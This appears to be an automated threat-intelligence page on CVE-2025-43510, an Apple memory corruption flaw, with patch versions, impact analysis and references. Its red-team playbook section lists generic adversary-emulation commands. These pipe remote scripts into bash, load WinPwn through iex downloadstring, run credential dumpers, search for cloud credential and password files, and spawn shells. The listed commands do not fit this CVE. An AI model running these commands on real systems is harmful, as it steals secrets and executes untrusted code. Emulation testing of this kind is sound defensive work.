CVE-2025-43510
Overview
This vulnerability is a memory corruption flaw caused by improper lock state checking within the operating system's memory management routines. The issue affects inter-process shared memory components in Apple iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. The root cause lies in the failure to correctly verify lock states before accessing or modifying shared memory, leading to potential inconsistencies and corruption.
Vulnerability Description
A memory corruption issue was addressed with improved lock state checking. This issue is fixed in iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1, tvOS 26.1, visionOS 26.1, watchOS 26.1. A malicious application may cause unexpected changes in memory shared between processes.
Impact
An attacker with the ability to install and execute a malicious application on a targeted device can exploit this vulnerability to induce memory corruption in shared memory areas between processes. This may result in unauthorized manipulation of process memory, potentially enabling privilege escalation or unauthorized data access. No network access or elevated privileges are required beyond the ability to run code locally. The CVSS base score of 0 reflects the low likelihood or impact under typical conditions, but local exploitation could facilitate lateral movement within the device environment.
Solution
Apple has addressed this issue by improving lock state checking in memory management components across multiple OS versions. Users should update to iOS 18.7.2 or later, iPadOS 18.7.2 or later, macOS Sequoia 15.7.2, Sonoma 14.8.2, Tahoe 26.1, and corresponding versions of tvOS, visionOS, and watchOS 26.1 or later. Detailed patch instructions and advisories are available at Apple's official support pages: https://support.apple.com/en-us/125632, https://support.apple.com/en-us/125633, and https://support.apple.com/en-us/125634.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant memory corruption issue has been identified in various Apple operating systems, including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. This vulnerability arises from inadequate lock state checking, which can lead to unexpected changes in memory shared between processes. Memory corruption vulnerabilities are particularly concerning as they can allow an attacker to manipulate the execution flow of applications, potentially leading to unauthorized access or control over sensitive data and system resources. The flaw affects multiple versions of the operating systems, highlighting the widespread risk across Apple’s ecosystem.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving malicious applications. An attacker could craft an application that, when installed on a vulnerable device, takes advantage of the memory corruption issue to execute arbitrary code. This could allow the attacker to escalate privileges, access sensitive information, or disrupt the normal functioning of the device. Additionally, since the issue involves shared memory between processes, an attacker could potentially exploit this vulnerability to affect other applications running on the same device, broadening the scope of potential damage. The risk is exacerbated in environments where users may unknowingly install unverified applications, making it crucial for users to be vigilant about application sources.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple devices for their operations. If exploited, the memory corruption issue could lead to data breaches, loss of intellectual property, and significant reputational damage. Organizations that handle sensitive customer data or proprietary information are especially at risk, as an attacker could gain access to confidential information. Furthermore, the financial implications of a successful attack could include regulatory fines, legal costs, and the expenses associated with incident response and recovery efforts. The potential for widespread disruption to business operations makes this vulnerability a critical concern for IT security teams.
To effectively detect and mitigate this vulnerability, organizations should prioritize regular updates and patch management. Apple has released fixes in the latest versions of its operating systems, and users should ensure that their devices are updated promptly to protect against exploitation. Additionally, employing application whitelisting can help prevent the installation of untrusted applications that could exploit this vulnerability. Security teams should also conduct regular vulnerability assessments and penetration testing to identify and address potential weaknesses in their systems. Monitoring for unusual behavior or performance issues on devices can provide early indicators of exploitation, allowing for swift remediation.
In conclusion, the memory corruption issue affecting Apple’s operating systems poses a significant threat to users and organizations alike. Given the potential for exploitation through malicious applications and the serious consequences of such attacks, it is imperative for users to maintain updated systems and for organizations to implement robust security measures. By understanding the nature of this vulnerability and taking proactive steps to mitigate risk, stakeholders can better protect their assets and maintain the integrity of their operations in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-43510, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s elevated priority within the cybersecurity community and signals increased attention from threat actors. Our telemetry indicates a significant uptick in attempts to leverage this memory corruption flaw, reflected in a substantial rise in the EPSS score and a newly assigned high CVSS rating of 7.8. Although no new exploit code has been publicly disclosed, the rapid increase in detection events suggests adversaries are actively probing or developing capabilities to exploit this issue. For defenders, this shift necessitates heightened vigilance as the operational risk of exploitation has materially increased, elevating the threat level from theoretical to imminent. The convergence of increased detection trends, official KEV listing, and elevated severity metrics collectively indicate that CVE-2025-43510 now represents a critical risk vector for Apple device environments, warranting prioritized monitoring and response efforts.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | 26.0 |
cpe:2.3:o:apple:ipados:26.0:*:*:*:*:*:*:*
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|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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|
Apple | Iphone Os | 26.0 |
cpe:2.3:o:apple:iphone_os:26.0:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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|
|
Apple | Macos | 26.0 |
cpe:2.3:o:apple:macos:26.0:*:*:*:*:*:*:*
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|
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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|
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Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (11)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-43510 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125632 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125633 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125634 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125635 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125636 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125637 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125638 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/125639 |
| cloud.google.com |
NVD API
Technical Description
|
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-43510 |